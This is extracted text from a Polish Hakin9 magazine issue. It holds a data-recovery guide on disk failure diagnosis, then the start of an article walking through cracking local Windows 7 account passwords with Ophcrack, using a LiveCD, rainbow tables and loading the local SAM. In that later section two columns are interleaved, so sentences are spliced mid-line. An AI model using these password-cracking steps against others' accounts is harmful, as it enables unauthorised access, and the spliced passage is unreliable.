wystąpienia awarii, która w skuteczny sposób może sparaliżować nasz codzienny dzień. W Z ARTYKUŁU DOWIESZ SIĘ jak powinna wyglądać pierwsza pomoc po utracie dostępu do danych, jakie są najczęstsze przyczyny awarii, skutkujące utratą dostępu do danych, jak ustalić źródło problemu, jak przeprowadzić wstępną analizę dysku, czego nam nie wolno robić po utracie dostępu do danych, co zrobić na przyszłość, aby ponownie nie utracić dostępu do danych. CO POWINIENEŚ WIEDZIEĆ znać ogólne pojęcia z zakresu budowy komputera, znać podstawy obsługi systemu operacyjnego, w którym pracujesz, mieć ogólne pojęcie o systemie plików, na którym pracuje twój system operacyjny. 14 HAKIN9 1/2010 każdym przypadku utraty dostępu do danych pierwszą i podstawową kwestią, którą musimy ustalić jest przyczyna wystąpienia takiego stanu rzeczy. Ustalenie źródła problemu ma kluczowe znaczenie dla samego procesu odzyskiwania danych. Prawidłowa odpowiedź na to pytanie pozwoli nam na podjęcie prawidłowych działań, w konsekwencji których możemy odzyskać dostęp do danych bez niepotrzebnego ryzyka ich bezpowrotnej utraty. Dlatego pamiętajmy; zanim podejmiemy jakiekolwiek działania, musimy wiedzieć co mamy robić. Działania na oślep, często w panice, na ogół pogarszają sytuację lub wręcz definitywnie uniemożliwiają odzyskanie danych. Okoliczności awarii – analiza Ustalenie źródła problemu w znakomitej większości sytuacji nie powinno stwarzać większego problemu. Tak naprawdę występują dwa główne rodzaje awarii, jeżeli chodzi o ich naturę: • • uszkodzenia logiczne, uszkodzenia fizyczne. Każde z nich możemy podzielić jeszcze na pewne podtypy, które posiadają pewną odmienną charakterystykę przyczynowoskutkową. I tak – uszkodzenia logiczne dzielą się na: • • • uszkodzenie systemu operacyjnego, uszkodzenie systemu plików, uszkodzenie logiczne powstałe wskutek błędu użytkownika. Natomiast w ramach uszkodzeń fizycznych samego nośnika możemy wyróżnić: • • • uszkodzenie mechaniczne (dekalibracja mechaniczna, dekalibracja termiczna, uszkodzenie łożyska silnika, wybicie stojana silnika), uszkodzenie elektroniczne (uszkodzenie modułu elektroniki zewnętrznej, uszkodzenie głowicowego przedwzmacniacza sygnału), uszkodzenie logiczne lub mechaniczne struktury serwisowej dysku (Service Area). Oczywiście wszystkie wymienione wyżej rodzaje uszkodzeń mogą występować samodzielnie lub jednocześnie; często występuje implikacja przyczynowo-skutkowa. I tak, np. dekalibracja mechaniczna (np. dysk został uderzony) wpływa na uszkodzenia fizyczne części powierzchni roboczej dysku, przez co uszkodzony zostaje system plików (minimalne odkształcenia końcówek głowic mogą powodować rysowanie platerów dysku w obszarze konfiguracyjnym systemu plików). W ramach identyfikacji niezbędnym jest przeanalizowanie wszystkich objawów PIERWSZA POMOC i okoliczności mogących mieć wpływ na wystąpienie awarii. Jest to najlepsza wskazówka, dająca często bezpośrednią wiedzę co do genezy wystąpienia problemu utraty dostępu do danych. Poniżej krótki opis objawów i okoliczności, które charakteryzują w sposób bezpośredni rodzaj usterki: • • • • Działania wirusów, niedozwolone operacje na strukturach lub plikach systemu operacyjnego, błędne działanie lub niewłaściwe posługiwanie się narzędziami dyskowymi, pojawienie się błędnych sektorów na powierzchni dysku, błędna konfiguracja sprzętowa systemu operacyjnego, nagłe lub nieprawidłowe zamknięcie systemu operacyjnego, itp. – wszystkie tego typu czynności mogą wpłynąć na powstanie uszkodzeń systemu operacyjnego lub systemu plików. Przypadkowe lub błędne usunięcie danych – tu sytuacja jest jasna. Wszelkiego rodzaju anomalie napięciowe, mogące wystąpić, czyli: nagłe braki w dostawie prądu, przepięcia, zwarcia czy też wysadzenia lokalnej instalacji elektrycznej (bezpieczniki) skutkują najczęściej uszkodzeniem elektroniki komputera, a co za tym idzie elektroniki samego dysku. W tym miejscu należy zaznaczyć, że z tego punktu widzenia najbardziej krytycznym elementem w systemie jest zasilacz. Dobry zasilacz nie dopuści do uszkodzenia wewnętrznych komponentów komputera – w najgorszym razie sam ulegnie zniszczeniu, chroniąc jednocześnie pozostałe elementy. Słaby jakościowo zasilacz jest odpowiedzialny za ponad 90% przypadków awarii elektroniki twardych dysków. Uderzenia i upadki – całych komputerów lub przenoszonych dysków – nawet niewinne, drobne puknięcia lub uderzenia mogą spowodować trwałe i poważne uszkodzenie mechaniczne twardego dysku (szczególnie podczas pracy • nośnika). Dzieje się tak, ponieważ prawie wszystkie dzisiejsze dyski twarde (oprócz SSD) są urządzeniami złożonymi m.in. z wysoce precyzyjnej mechaniki, która jest bardzo wrażliwa na fizyczne działania zewnętrzne. Dochodzi wtedy do dekalibracji mechanicznej twardego dysku (zmiana geometrii końcówek pozycjonera z głowicami), nieprawidłowego zatrzymania głowic na platerach lub wybicia stojana silnika. Przegrzanie twardego dysku – jeżeli twardy dysk, który pracuje przez dłuższy czas jest narażony na przegrzanie się (praca laptopa na miękkim kocu lub pościeli, umiejscowienie komputera przy kaloryferze, itp.) to dochodzi do mikroodkształceń termicznych na końcówkach głowic. Skutek – identyczny, jak w przypadku dekalibracji mechanicznej. Pozostała najczęściej spotykana usterka, tj. uszkodzenie strefy serwisowej dysku może mieć zgoła różne przyczyny – w warunkach amatorskich można ją zdiagnozować jedynie po objawach – ale o tym później. • • Objawy – wstępne zalecenia diagnostyczne Potwierdzeniem okoliczności powinny być objawy. Poniżej kilka uwag odnośnie ich występowania i charakterystyki. Ze względu na złożoność występujących objawów przeprowadzimy analizę pod kątem uszkodzeń. • Na początek coś miłego – po podłączeniu zasilania do dysku następuje natychmiastowe automatyczne wyłączenie komputera – innymi słowy – komputer się nie włącza z podpiętym do gniazda zasilania twardym dyskiem. W tym przypadku mamy do czynienia z dość prostym przypadkiem, polegającym na wymianie elementu zabezpieczającego twardy dysk. Istnieje możliwość samodzielnej naprawy dysku. Na ogół jest to • wymiana bardzo szybkiej diody zabezpieczającej Transil (nazwa wprowadzona przez nomenklaturę STMicroelectonics), która jest podpięta w kierunku zaporowym. Pełni ona rolę bezpiecznika – w momencie nieprawidłowej polaryzacji zasilania lub zwarcia zostaje ona przebita (przewodzi w obydwu kierunkach), co powoduje zwarcie i uruchamia blokadę zasilania w zasilaczu komputera. Po podłączeniu zasilania dysk jest całkowicie martwy, brak detekcji w biosie, nie wydaje jakichkolwiek dźwięków – w prawie 100% przypadków mamy do czynienia z uszkodzeniem modułu elektroniki zewnętrznej. Tego typu uszkodzeniom często towarzyszy swąd spalenizny wydobywający się z dysku lub widoczne nadpalenia układów na elektronice dysku. Wymagana naprawa lub rekonstrukcja modułu elektroniki zewnętrznej. Możliwość wystąpienia uszkodzenia elektroniki wewnętrznej. Po podłączeniu zasilania dysk nie rozkręca się, brak detekcji w biosie, jednakże słychać mniej lub bardziej głośne próby startu samego silnika (takie cichutkie bzyt, bzyt, bzyt ). Przy takich objawach możliwe uszkodzenia to: wybicie stojana, uszkodzenie łożyska lub zatrzymanie głowic na platerach dysku. Przy tego typu objawach stanowczo odradzamy samodzielne próby dotarcia do danych. Wymagana jest interwencja specjalisty w warunkach laboratoryjnych. Niektóre modele WD lub MAXTOR posiadają wbudowane multiwibratory generujące sygnały dźwiękowe typu trelemolo, które są uaktywniane w momencie blokady silnika. Po podłączeniu zasilania dysk zaczyna się rozkręcać, jednak nie jest widoczny w biosie i wydaje nienaturalne odgłosy (najczęściej jest to cykliczne stukanie). W tego typu przypadkach najczęściej mamy do czynienia z uszkodzeniem mechanicznym (dekalibracja) lub uszkodzeniem 1/2010 HAKIN9 15 POCZATKI • • • elektroniki wewnętrznej, bądź samych głowic. Podobnie jak w przypadku powyżej – przy tego typu objawach stanowczo odradzamy samodzielne próby dotarcia do danych. Wymagana jest interwencja specjalisty w warunkach laboratoryjnych. Mało tego – w takim przypadku samodzielne, uporczywe próby odczytania danych z dysku mogą zaowocować nieodwracalnym uszkodzeniem powierzchni roboczej nośnika. Po podłączeniu zasilania dysk zaczyna się rozkręcać, jest prawidłowo rozpoznawany w biosie, jest widziany przez system w sposób fizyczny (jako dysk), natomiast nie jest (najczęściej) widziany jako dysk logiczny – przy próbie odczytu danych przez jakąkolwiek aplikację narzędziową dysk zaczyna wydawać nienaturalne dźwięki (stukania). W tego typu przypadku mamy najprawdopodobniej do czynienia z uszkodzoną głowicą. W celu potwierdzenia diagnozy niezbędna jest analiza skanu powierzchni dysku, aby wykluczyć lub potwierdzić uszkodzenie jednej z głowic. Kolejny przypadek to sytuacja identyczna do poprzedniej – jednakże z wykluczeniem uszkodzenia jednej z głowic. Po podłączeniu zasilania dysk zaczyna się rozkręcać, jest prawidłowo rozpoznawany w biosie, jest widziany przez system w sposób fizyczny (jako urządzenie) i najczęściej jest widziany jako dysk logiczny – przy próbie odczytu danych przez jakąkolwiek aplikację narzędziową dysk zaczyna wydawać nienaturalne dźwięki (stukania). W tego typu sytuacji doszło do powstania wielu uszkodzeń na powierzchni roboczej nośnika (Bad Sektory). Potwierdzenie skanem powierzchni dysku. Następny objaw: po podłączeniu zasilania dysk zaczyna się rozkręcać, jest prawidłowo rozpoznawany w biosie, jest widziany przez system w sposób 16 HAKIN9 1/2010 fizyczny i logiczny (jako dysk), nie wydaje nienaturalnych dźwięków – jednakże nie ma możliwości wejścia na dysk logiczny (komunikat o niesformatowanym dysku lub partycja nieznana). Objaw świadczący o uszkodzonym logicznie systemie plików lub powstaniu niewielkiej ilości złych sektorów w obszarze konfiguracyjnym systemu plików. Potwierdzenie skanem powierzchni dysku. Po podłączeniu zasilania dysk zaczyna się rozkręcać, jest rozpoznawalny w biosie, wstępny brak objawów nieprawidłowej pracy; dysk widoczny jako wolumin logiczny, możliwość podejrzenia zawartości partycji, przy próbie kopiowania danych występują błędy odczytu. Objawy te świadczącą o powstaniu relatywnie niewielkiej ilości błędnych sektorów. Dane można skopiować za pomocą stosownych aplikacji narzędziowych typu Data Recovery. biosie komputera (nieprawidłowa lub niepełna nazwa dysku, nieprawidłowa pojemność, niewłaściwy numer ser yjny), brak statusu ready nośnika, przy próbie skanu powierzchni nośnika wszystkie sektor y są błędne, itp. Niestety w prawie wszystkich przypadkach uszkodzenia SA – aby dostać się do danych – wymagana jest spora wiedza na temat budowy i struktur y SA w poszczególnych modelach oraz odpowiednie zaplecze techniczne i narzędziowe. Dlatego przy wystąpieniu objawów świadczących o uszkodzeniu SA stanowczo odradzamy podejmowanie jakichkolwiek samodzielnych prób. Wszystkie powyższe objawy mają charakter czysto orientacyjny – po przeprowadzeniu analizy przyczynowoskutkowej możemy na ich podstawie z dużą dozą dokładności (w praktyce jest to ok. 80 – 90% przypadków) określić źródło problemu i występujący rodzaj uszkodzenia. Odrębnym problemem jest wystąpienie uszkodzeń w obszarze serwisowym dysku (ang. Service Area, potocznie SA). Jest to wydzielony obszar na platerach (talerzach) dysku, niedostępny dla przeciętnego użytkownika (SA mieści się na logicznie ujemnych cylindrach), w któr ym znajdują się wszystkie dane niezbędne dla prawidłowej pracy nośnika. Znajdują się tam takie informacje jak: translator logiczny, adaptywy, informacje na temat wielkości dysku, nazwa dysku, jego numer ser yjny, hasło ATA, itp. Po podłączeniu zasilania główny procesor dysku zaczyna wykonywać procedur y zawarte w swoim biosie. Większość z nich zawiera komendy odczytu wyżej wspomnianych danych mieszczących się w strefie serwisowej. Jeżeli wszystko jest w porządku, dysk zgłasza gotowość do pracy. Jeżeli nie … No i tu zaczyna się problem… Wachlarz objawów uszkodzonego SA jest bardzo szeroki. Najczęstszymi objawami uszkodzenia SA jest błędna detekcja napędu w W sytuacji braku komunikacji z dyskiem (uszkodzenia mechaniczne, elektroniczne, uszkodzenie SA) – czyli w przypadkach, gdy nie mamy prawidłowej komunikacji z dyskiem (np. brak detekcji dysku w biosie) – jedyną diagnozę, którą możemy postawić – musimy przeprowadzić w oparciu o dane przyczynowo-skutkowe opisane powyżej. Niestety w większości tego typu przypadków, aby odzyskać dane będziemy zmuszeni do skorzystania z pomocy firm, które zajmują się w sposób profesjonalny odzyskiwaniem danych. Natomiast w momencie, gdy komunikacja z dyskiem występuje, możemy pokusić się o przeprowadzenie wstępnej analizy dysku we własnym zakresie, w wyniku której możliwe będzie samodzielne odzyskanie danych bez potrzeby korzystania z pomocy osób trzecich. Pierwszą czynnością, którą powinniśmy wykonać jest przygotowanie stanowiska pracy. Oto co potrzebujemy: • Jak przeprowadzić wstępną diagnozę dysku PIERWSZA POMOC • • • Komputer klasy PC z płytą główną wyprodukowaną od 2004 r. wzwyż (obsługa LBA 48). Zainstalowany system operacyjny typu Windows (najlepiej XP z ServicePack min.1). Zainstalowany napęd CD oraz FDD. Do diagnostyki używamy komputera klasy PC z systemem Windows ze względu na największy występujący wybór aplikacji narzędziowych. Jeżeli mamy prawidłową komunikację z dyskiem, pierwszą czynnością, którą powinniśmy zrobić jest przeskanowanie powierzchni roboczej dysku. Wyjątkiem jest sytuacja, gdy sam dysk jest sprawny, natomiast chcemy odzyskać utracone dane, które zostały wykasowane. W tym przypadku możemy przystąpić bezpośrednio do odzyskiwania danych. Sprawdzenie powierzchni dysku najlepiej przeprowadzić dyskowymi programami narzędziowymi, działającymi w środowisku DOS, typu Data LifeGuard Diagnostics czy SeaTools. Godnymi polecenia są też komercyjne lub autorskie narzędzia dyskowe jak ByteBack czy MHDD. W każdym razie powinna to być aplikacja dosowa, obsługująca bezpośrednio INT 13 oraz mająca dostęp do dysku przez bios płyty. Skanowanie przeprowadzamy po uruchomieniu programu z bootowalnej dyskietki FDD lub płyty CD. W celu zwiększenia bezpieczeństwa należy odłączyć wszystkie dyski oprócz HDD problemowego. UWAGA ! Przed przystąpieniem do skanowania w środowisku DOS należy upewnić się, że nasz źródłowy dysk pracuje w trybie read only – w przeciwnym razie może dojść do sytuacji przypadkowego nadpisania danych! Wyniki skanowania możemy sklasyfikować następująco: • Brak błędów na dysku – najprawdopodobniej mamy do czynienia z logicznym problemem utraty dostępu do danych (tak jak usunięcie danych). W celu • • • • odzyskania danych zaleca się wykonanie kopii binarnej nośnika i przystąpienia do czynności odzyskania danych (z tejże kopii). Pojawiające się pojedyncze błędy na dysku – w wyniku ich pojawienia się na dysku nastąpiła utrata dostępu do danych. W celu odzyskania danych zaleca się wykonanie kopii binarnej nośnika i przystąpienia do czynności odzyskania danych (z tejże kopii). Duża ilość błędów na dysku – należy stwierdzić, czy błędy pojawiają się w sposób uporządkowany. Np. pojawianie się błędów periodycznie (błędy występują non stop w większych grupach) w uporządkowanych odstępach może świadczyć o uszkodzeniu jednej z głowic. W takim przypadku odzyskanie danych w praktyce jest możliwe tylko w warunkach laboratoryjnych. Pojawienie się wielu błędów, występujących w sposób chaotyczny (nieuporządkowany), świadczy o uszkodzeniu fizycznym wielu sektorów. Jeżeli jest to możliwe – zaleca się wykonanie kopii binarnej tych obszarów, które są pozbawione błędów – w następnej kolejności próbujemy skopiować obszary uszkodzone (na inny sprawny dysk). W przypadku wystąpienia bardzo dużej ilości błędów, zaleca się bezpośrednie użycie programu odzyskującego dane, bazującego na wstępnym skanowaniu tablicy alokacji (bez skanowania całego nośnika). UWAGA !!! W tym przypadku długotrwałe, bądź wielokrotne próby odzyskania danych, mogą w sposób fizyczny nieodwracalnie zniszczyć powierzchnię nośnika. Dlatego w przypadku wystąpienia potrzeby odzyskania ważnych danych (z punktu widzenia użytkownika), zaleca się przekazanie dysku do wyspecjalizowanej firmy. Na koniec opisujemy przypadek związany z uszkodzoną strefą serwisową – przy prawidłowej detekcji najczęstszym objawem jest pojawienie się nieczytelnych sektorów praktycznie na całym obszarze dysku. Przy próbie odczytu jakichkolwiek sektorów (z początku, środka i końca dysku – kilkanaście prób pod różnymi adresami) otrzymujemy same błędy. W tej sytuacji mamy dwie możliwości: albo dysk jest chroniony hasłem albo posiada uszkodzony translator. Jeżeli nie znamy hasła (w przypadku jego uaktywnienia) lub uszkodzona jest część strefy serwisowej – wymagana jest interwencja specjalisty. Po wykonaniu kopii binarnej uszkodzonego dysku możemy przejść do ostatniego procesu odzyskiwania danych. Polega on na zeskanowaniu programem typu Data Recovery wykonanej przez nas kopii i zapisaniu odzyskanych danych na inny nośnik. Nie będziemy podawać konkretnych nazw aplikacji typu Recovery ze względu na to, że każdy z nich posiada swoją specyfikę, która w jednych sytuacjach jest skuteczna, a w innych nie. Dlatego należy zacząć po kolei – od bezpłatnych aplikacji, poprzez komercyjne, na profesjonalnych kończąc. Większość aplikacji płatnych umożliwia próbne zeskanowanie dysku, tak aby użytkownik mógł się zorientować, czy dane są do odzyskania. Czego nie wolno robić po utracie dostępu do danych Istnieje pewien żelazny dekalog ograniczający margines działania, związany z czynnościami mającymi na celu odzyskiwanie danych. Podstawową zasadą jest niewpadanie w panikę oraz przeprowadzenie rzetelnej analizy sytuacji. Działania na oślep, bez zastanowienia oraz brak podstawowej wiedzy na temat procedur dotyczących postępowania w tego typu sytuacjach, skutkuje na ogół całkowitym zniszczeniem utraconych danych oraz późniejszym brakiem możliwości ich odzyskania, nawet przez profesjonalne firmy. Do najczęstszych błędów należą: 1/2010 HAKIN9 17 POCZATKI • • • • • • otwieranie twardego dysku w warunkach pozalaboratoryjnych (wymagana odpowiednia klasa czystości), wykonywanie jakichkolwiek czynności wewnątrz dysku, dokonywanie jakichkolwiek napraw w elektronice dysku (bez gruntownej wiedzy), zapisywanie jakichkolwiek informacji na dysku, z którego chcemy odzyskać dane, samodzielne próby naprawy dysku poprzez różnego rodzaju programy narzędziowe, przekazywanie dysku (w celu odzyskania danych) osobom lub firmom nieposiadającym stosownych kwalifikacji. W Polsce liczba osób, które dysponują mniejszą lub większą wiedzą informatyczną może oscylować w okolicach kilku milionów. Jednak usługi odzyskiwania danych są tak dalece wyspecjalizowane i momentami tak skomplikowane, że w tej masie tylko kilkanaście do kilkudziesięciu osób dysponuje stosowną wiedzą i warsztatem, pozwalającym odzyskać dane we wszystkich przypadkach, gdzie fizycznie jest to możliwe. Dlatego należy bardzo starannie dokonywać wyboru firmy bądź osoby, której chcemy powierzyć dysk w celu odzyskania danych. W tym miejscu należy zaznaczyć, że na r ynku można spotkać coraz więcej firm lub osób reklamujących się jako jednostki wyspecjalizowane w odzyskiwaniu danych. Spowodowane to jest wizją szybkiego zarobienia łatwych i często spor ych pieniędzy. Niestety bardzo niewiele z nich posiada gruntowną wiedzę oraz warsztat pozwalający na odzyskanie danych w przypadkach, gdzie faktycznie jest to możliwe. I tak, np. najwyższy, światowy poziom skuteczności odzyskiwania danych oscyluje pomiędzy 70% a 80% na 100 zgłoszonych przypadków. Jest to spowodowane tym, iż sytuacje takie jak nadpisanie utraconych danych, bądź fizyczne uszkodzenie powierzchni roboczej nośnika, nie 18 HAKIN9 1/2010 należą do wyjątków. Niestety, coraz częściej możemy zauważyć reklamy, które delikatnie mówiąc, mijają się z prawdą. Coraz więcej firm ogłasza się jako ta najlepsza, przelicytowując się: 90% , 95% czy nawet 99% skuteczności w odzyskiwaniu danych. Mało tego, na r ynku pojawiają się reklamy sugerujące 100% skuteczność czy też mówiące o gwarancji na odzyskiwanie danych. Jest to oczywistą nieprawdą i świadomym wprowadzaniem w błąd klienta. Nie ma na świecie firmy potrafiącej odzyskiwać dane z każdego przypadku ich utraty (nawet po uprzednim zrobieniu kopii stref y serwisowej). Kolejną pułapką jest masowe funkcjonowanie tzw. bezpłatnej analizy warunkowej. Polega to na tym, że coraz więcej firm oferuje bezpłatną analizę nośnika pod warunkiem, że po jej przeprowadzeniu klient skorzysta w danej firmie z usługi odzyskania danych. W przypadku rezygnacji, klient musi pokryć koszty przeprowadzonej analizy – często jest to kilkaset złotych. I nie byłoby w tym nic złego, gdyby nie fakt, że taka praktyka przyczyniła się do powstania pewnej patologii, a mianowicie; coraz więcej firm decyduje się po wykonaniu analizy na stosowanie cen zaporowych (szczególnie w przypadkach, w których nie jest w stanie odzyskać dane) – tylko po to, aby klient zrezygnował i zapłacił za rezygnację – czyli za odbiór własnego dysku. Przy takich praktykach teoretyczna skuteczność faktycznie może osiągnąć 100% i jeszcze gwarantuje przypływ gotówki w każdym możliwym przypadku. Prowadząc taką firmę, równie dobrze można nic nie robić – tylko wystawiać faktury. Dlatego pamiętajmy – przed wyborem firmy odzyskującej dane powinniśmy gruntownie przeanalizować jej rzetelność. Także przed oddaniem (lub wysłaniem) dysku należy zapoznać się z warunkami, które będziemy musieli pisemnie zaakceptować (czytajmy regulaminy, zamówienia, itp.). W trakcie rozmowy wstępnej sprawdźmy, czy bezpłatna analiza jest faktycznie bezwarunkowa oraz domagajmy się podania widełek cenowych (chodzi o cenę maksymalną) za konkretny rodzaj potencjalnego uszkodzenia, tak aby uniknąć przykr ych niespodzianek. Podsumowanie Ktoś kiedyś powiedział, że użytkownicy komputerów dzielą się na tych, którzy robią kopie swoich danych oraz na tych którzy będą robić kopie… I w tym jednym zdaniu możemy chyba upatrywać puentę problemu pt. jak zabezpieczyć się przed utratą danych w przyszłości. Kopie, kopie, i jeszcze raz kopie. Nie ma niezawodnych systemów, każdy dysk, każdy serwer, każda macierz może ulec awarii. Są dwa warunki skutecznego robienia kopii danych: • • Kopie danych muszą być wykonywane regularnie (bez wyjątku). W praktyce przyjmuje się, że trzy źródła danych całkowicie zabezpieczają nas przed ich utratą. Należy pamiętać, że muszą to być trzy, niezależne od siebie – w sposób fizyczny – lokalizacje zawierające cenne dane. I tak np. pierwsza kopia (a raczej oryginał) może być na dysku lub nośniku źródłowym (czyli na tym, na którym pracujemy). Pozostałe dwie kopie muszą być na innych nośnikach, takich jak dysk zewnętrzny, pendrive, bądź płyta CD/DVD. Przestrzegając tych dwóch warunków możemy być pewni, że w wypadku awarii nie utracimy cennych danych. Sukcesywne wykonywanie kopii i dywersyfikacja nośników, zawierających nasze cenne dane, nam to gwarantuje. Artur Skrouba Autor studiował na wydziale Fizyki i Astronomii Uniwersytetu Warszawskiego; jest także absolwentem Szkoły Głównej Handlowej w Warszawie na kierunku Finanse i Bankowość. Na co dzień zajmuje się profesjonalnym odzyskiwaniem danych w firmie DataMax Recovery, w której pełni funkcję jednego z głównych inżynierów technicznych. Kontakt z autorem: [email protected]. 19 ATAK WOJCIECH SMOL Hakowanie Windows 7 Stopień trudności Windows 7, będący następcą kompletnie nieudanej Visty, prawdopodobnie okaże się dla Microsoftu szczęśliwą siódemką i powtórzy komercyjny sukces Windowsa XP. System ten nie zapewni nam jednak bezpiecznego środowiska pracy. Oto 7 dowodów na potwierdzenie tej tezy. N Z ARTYKUŁU DOWIESZ SIĘ o nowościach w mechanizmach bezpieczeństwa najnowszego systemu Windows, o teoretycznych oraz praktycznych zagrożeniach dla bezpieczeństwa Windows 7, o istniejących mechanizmach oraz narzędziach pozwalających na naruszanie bezpieczeństwa Siódemki, o potencjalnych, przyszłych kierunkach rozwoju technik atakowania najnowszego systemu z Redmond. CO POWINIENEŚ WIEDZIEĆ znać podstawowe zagadnienia dotyczące bezpieczeństwa środowiska Windows (w szczególności Visty), znać podstawowe rodzaje ataków (lokalnych oraz zdalnych) na systemy operacyjne. 20 HAKIN9 1/2010 a kilka tygodni przed oficjalną premierą detaliczną (zaplanowaną na 22.10.2009) systemu operacyjnego Windows 7, poznaliśmy pierwsze informacje dotyczące następców Siódemki. Windows 8 i 9, bo o nich mowa, są już obecnie intensywnie rozwijane w laboratoriach firmy Microsoft. Premiera ósemki planowana jest przez giganta z Redmond na rok 2012, czyli mniej więcej za 3 lata. Windows 8 i 9 mają być pierwszymi 128-bitowymi systemami Microsoft Windows, oferującymi przy tym szereg nowych funkcji. Wiemy to wszystko dzięki (nieplanowanemu?) wyciekowi informacji w serwisie społecznościowym. Otóż Robert Morgan, długoletni pracownik Microsoftu, umieścił w swoim profilu na stronie LinkedIn poufne informacje dotyczące Windows 8 oraz Windows 9. Morgan napisał między innymi, że pracuje nad kompatybilnością 128-bitowej architektury z jądrem Windows 8 oraz projektem systemu Windows 9. Jaki to wszystko ma jednak związek z bezpieczeństwem samego Windows 7? Mianowicie, jeśli Microsoft utrzyma obecną politykę rozwijania systemów operacyjnych, to przedstawione poniżej mechanizmy bezpieczeństwa Siódemki oraz metody ich naruszania, mogą być skuteczne również w przypadku kolejnych edycji Windows! Dokładnie tak, jak można to zaobserwować obecnie w przypadku Windows Vista i 7. Otóż tajemnicą poliszynela jest, że wiele funkcji Windows 7 (oznaczenie kodowe Windows NT 6.1) jest bardzo podobnych (lub nawet identycznych) do tych znanych z... Windows Vista (oznaczenie kodowe Windows NT 6.0). Pracując z Windows 7 odnosi się właściwie wrażenie, że jest to finalna wersja Visty, która sama zaś wydaje się być zaledwie wersją beta Siódemki ! Tego rodzaju podobieństwo i kompatybilność większości funkcji ma oczywiście pewne zalety, takie jak chociażby zgodność obu systemów na poziomie sterowników oraz obsługi aplikacji. Sytuacja ta niesie ze sobą jednak pewne efekty uboczne. 7 świętych dróg do piekła Wspomniane podobieństwa Visty oraz Siódemki dotyczą oczywiście również mechanizmów bezpieczeństwa stosowanych przez oba systemy. Ta bezprecedensowa sytuacja jest o tyle ciekawa, że w wyniku owych podobieństw, już przed premierą nowych okienek dysponujemy szeregiem technik oraz narzędzi umożliwiających skompromitowanie bezpieczeństwa Windows 7. Jest tak, ponieważ większość narzędzi stworzonych do testowania i łamania zabezpieczeń Visty, z powodzeniem działa w Siódemce. Poza tym, na długo przed premierą opracowano również metody ataków specjalnie przeznaczonych dla najnowszego oprogramowania systemowego z Redmond. Siódemka jest również narażona na przypadłości HAKOWANIE WINDOWS 7 typowe dla całej swej rodziny, takie jak luki we własnym kodzie źródłowym. Wszystko to powoduje, że Windows 7, już w momencie swej premiery, będzie narażony na szereg znanych zagrożeń. Co gorsza, większość z tych zagrożeń oraz narzędzi umożliwiających konkretne ataki, jest już szeroko znana wśród crackerów. Przeanalizujmy więc 7 sposobów na przejęcie całkowitej kontroli nad systemem Windows 7 i zastanówmy się, w jaki sposób będziemy mogli im zapobiec w obliczu realnego zagrożenia. Łamanie haseł lokalnych użytkowników Pierwszą z prezentowanych metod przejmowania kontroli nad Windows 7 stanowi łamanie haseł, broniących dostępu do kont lokalnych użytkowników. W metodzie tej zakładam, że intruz nie zna hasła do żadnego z lokalnych kont oraz, że nie będzie dokonywał jakichkolwiek zmian w docelowym systemie. Sama procedura jest banalnie prosta. Wystarczy tylko pobrać plik Ophcrack Vista LiveCD 2.3.1 dostępny m.in. pod następującym adresem http: //hcseclab.blogspot.com/2009/09/ narzedzia-bezpieczenstwo-sieci-i.html, a następnie nagrać go na płytę CD, za pomocą dowolnego programu obsługującego wypalanie obrazów ISO. Teraz wystarczy już tylko z tak przygotowanej płyty uruchomić (załadować) komputer, na którym znajduje się docelowy Windows 7. Uruchomi się specjalny system operacyjny, który po wybraniu opcji Ophcrack Graphic mode automatic, automatycznie rozpocznie łamanie haseł do poszczególnych kont lokalnych użytkowników. Już po kilku minutach, przy odrobinie szczęścia (Ophcrack w wersji podstawowej jest w stanie złamać wyłącznie niezbyt skomplikowane hasła), hasła do wszystkich kont zostaną odgadnięte i wyświetlone w oknie programu Ophcrack w kolumnie NT Pwd (Rysunek 1). Łamanie haseł innych użytkowników lokalnych Drugą z prezentowanych metod łamania zabezpieczeń Windows 7 stanowi łamanie haseł, broniących dostępu do kont lokalnych użytkowników, z poziomu innego jeszcze pokrótce zasadę działania systemu użytkownika lokalnego. W metodzie tej Ophcrack. Otóż systemy z rodziny Windows zakładam, że intruz dysponuje własnym nie przechowują haseł do poszczególnych kontem lokalnym w docelowym systemie. kont użytkowników. W bazie Security Procedura również jest bardzo prosta. Accounts Manager (SAM) przechowywane Wystarczy tylko pobrać plik Ophcrack 3.3.1 są jedynie tzw. hasze haseł, czyli pewne Windows dostępny m.in. pod następującym wartości (w formacie LM hash w przypadku adresem http://hcseclab.blogspot.com/ Windows XP lub NT hash w przypadku Visty 2009/09/narzedzia-bezpieczenstwooraz Windows 7) wyznaczone za pomocą sieci-i.html, a następnie zainstalować go funkcji jednokierunkowej na podstawie w docelowym systemie Windows 7 z każdego z haseł. Ponieważ wyznaczenie poziomu własnego konta (wymagane będą hasła na podstawie jego haszu jest uprawnienia administracyjne). W trakcie bardzo trudne (stąd nazwa – funkcja instalacji należy zaznaczyć opcję Download jednokierunkowa), przechowywanie and Install free Vista tables. Spowoduje to haseł w postaci haszowanej jest o wiele automatyczne pobranie i zainstalowanie bezpieczniejsze niż przechowywanie hasła tęczowych tablic przeznaczonych do w postaci prostej. W momencie logowania łamania haseł w systemach Vista oraz 7. do systemu, użytkownik podaje swoje hasło, Jeśli automatyczna instalacja tablic a Windows wyznacza sobie z niego hasz nie powiedzie się, należy je pobrać i i porównuje go z tym zapisanym w bazie. zainstalować ręcznie. W tym celu należy Jeśli są identyczne, użytkownik zostanie pobrać plik Vista free (461MB) dostępny zalogowany (gdyż oznacza to, że użytkownik pod następującym adresem: http: podał prawidłowe hasło). //ophcrack.sourceforge.net/tables.php. Klasyczne metody łamania haseł Opcja Tables w programie Ophcrack sprowadzały się zazwyczaj do testowania pozwoli nam na ręczne wskazanie lokacji i po kolei wszystkich możliwości hasła lub zainstalowanie (uprzednio rozpakowanych) poszczególnych słów znajdujących się w tablic dla systemów Windows Vista / 7. słowniku danego języka. Metody takie są W celu złamania (odzyskania) haseł jednak bardzo nieefektywne, a w przypadku do kont innych lokalnych użytkowników dość długiego i skomplikowanego hasła naszego systemu Vista lub 7 należy (np. a1b2c3d4e5) nie są w stanie w uruchomić program Ophcrack i wybrać rozsądnym czasie osiągnąć jakiegokolwiek opcję Load/Local SAM. Spowoduje rezultatu. to załadowanie do programu lokalnej Ophcrack korzysta jednak z bazy SAM. W głównym oknie programu nowatorskiej metody wykorzystującej tzw. pojawią się informacje o wszystkich tęczowe tablice (ang. rainbow tables). lokalnych kontach użytkowników, wraz z Metoda ta polega na wcześniejszym odpowiadającymi im wartościami NT wyliczeniu bazy skrótów odpowiadających Hash. Po wybraniu opcji Crack, program Ophcrack przystąpi do łamania 